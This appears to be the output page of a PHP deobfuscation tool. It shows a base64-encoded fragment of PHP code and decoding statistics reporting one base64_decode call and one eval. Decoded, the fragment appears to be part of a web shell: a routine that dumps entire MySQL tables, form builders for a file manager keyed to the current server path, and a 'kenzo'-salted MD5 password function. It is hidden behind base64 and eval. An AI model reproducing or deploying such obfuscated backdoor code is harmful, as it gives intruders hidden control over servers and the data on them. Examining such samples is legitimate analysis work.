CSR0YWJsZWR1bXAgLj0gJGNyZWF0ZVsxXS4iO1xuXG4iOwoKCWlmICgkZnApIHsKCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOwoJfSBlbHNlIHsKCQllY2hvICR0YWJsZWR1bXA7Cgl9CgkkdGFibGVkdW1wID0gJyc7Cgkkcm93cyA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyb3dzKSkgewoJCWZvcmVhY2goJHJvdyBhcyAkaz0+JHYpIHsKCQkJJHJvd1ska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCX0KCQkkdGFibGVkdW1wID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkcm93KS4nKTsnLiJcbiI7CgkJaWYgKCRmcCkgewoJCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOwoJCX0gZWxzZSB7CgkJCWVjaG8gJHRhYmxlZHVtcDsKCQl9Cgl9Cglmd3JpdGUoJGZwLCJcblxuIik7Cglmcigkcm93cyk7Cn0KCmZ1bmN0aW9uIHAoJHN0cil7CgllY2hvICRzdHIuIlxuIjsKfQoKZnVuY3Rpb24gdGJoZWFkKCkgewoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7Cn0KZnVuY3Rpb24gdGJmb290KCl7CglwKCc8L3RhYmxlPicpOwp9CgpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9JycpewoJcCgiPGlucHV0IGlkPVwiJG5hbWVcIiB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiAvPiIpOwp9CgpmdW5jdGlvbiBtYWtlaW5wdXQoJGFyZyA9IGFycmF5KCkpewoJJGFyZ1snc2l6ZSddID0gJGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIiOwoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7CgkhJGFyZ1sndHlwZSddICYmICRhcmdbJ3R5cGUnXSA9ICd0ZXh0JzsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsKCWlmICgkYXJnWyduZXdsaW5lJ10pIHsKCQlwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOwoJfSBlbHNlIHsKCQlwKCIkYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+Iik7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2VzZWxlY3QoJGFyZyA9IGFycmF5KCkpewoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsKCQkkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7Cgl9CgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsKCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOwoJcCgiJGFyZ1t0aXRsZV0gPHNlbGVjdCBjbGFzcz1cImlucHV0XCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiAkb25jaGFuZ2U+Iik7CgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgewoJCQlpZiAoJGFyZ1snbm9rZXknXSkgewoJCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJHZhbHVlKSB7CgkJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSR2YWx1ZSkgewoJCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJHZhbHVlXCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiR2YWx1ZVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlIHsKCQkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJCWlmICgkYXJnWydzZWxlY3RlZCddPT0ka2V5KSB7CgkJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj4iKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CglwKCI8L3NlbGVjdD4iKTsKCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsKfQpmdW5jdGlvbiBmb3JtaGVhZCgkYXJnID0gYXJyYXkoKSkgewoJZ2xvYmFsICRzZWxmOwoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOwoJISRhcmdbJ2FjdGlvbiddICYmICRhcmdbJ2FjdGlvbiddID0gJHNlbGY7CgkkYXJnWyd0YXJnZXQnXSA9ICRhcmdbJ3RhcmdldCddID8gInRhcmdldD1cIiRhcmdbdGFyZ2V0XVwiIiA6ICcnOwoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOwoJcCgiPGZvcm0gbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiBhY3Rpb249XCIkYXJnW2FjdGlvbl1cIiBtZXRob2Q9XCIkYXJnW21ldGhvZF1cIiAkYXJnW3RhcmdldF0+Iik7CglpZiAoJGFyZ1sndGl0bGUnXSkgewoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsKCX0KfQoJCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD0iJy4kbmFtZS4nIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvcD4nKTsKCXAoJzwvZm9ybT4nKTsKfQoKZnVuY3Rpb24gZ29iYWNrKCl7CglnbG9iYWwgJHNlbGYsICRub3dwYXRoOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZmlsZSIgLz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInLiRub3dwYXRoLiciIC8+PHA+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gYmFjay4uLiI+PC9wPjwvZm9ybT4nKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3QoKXsKCXAoJzwvZm9ybT4nKTsKfQoKZnVuY3Rpb24gZW5jb2RlX3Bhc3MoJHBhc3MpIHsKCSRwYXNzID0gbWQ1KCdrZW56bycuJHBhc3MpOwoJJHBhc3MgPSBtZDUoJHBhc3MuJ2tlbnpvJyk7CgkkcGFzcyA9IG1kNSgna2Vuem8nLiRwYXNzLidrZW56bycpOwoJcmV0dXJuICRwYXNzOwp9CgpmdW5jdGlvbiBwcigkcyl7CgllY2hvICI8cHJlPiIucHJpbnRfcigkcykuJzwvcHJlPic7Cn0K'));
Function Calls
base64_decode | 1 |
Stats
MD5 | 611f5bf50f4426a8a7522f7868902beb |
Eval Count | 1 |
Decode Time | 416 ms |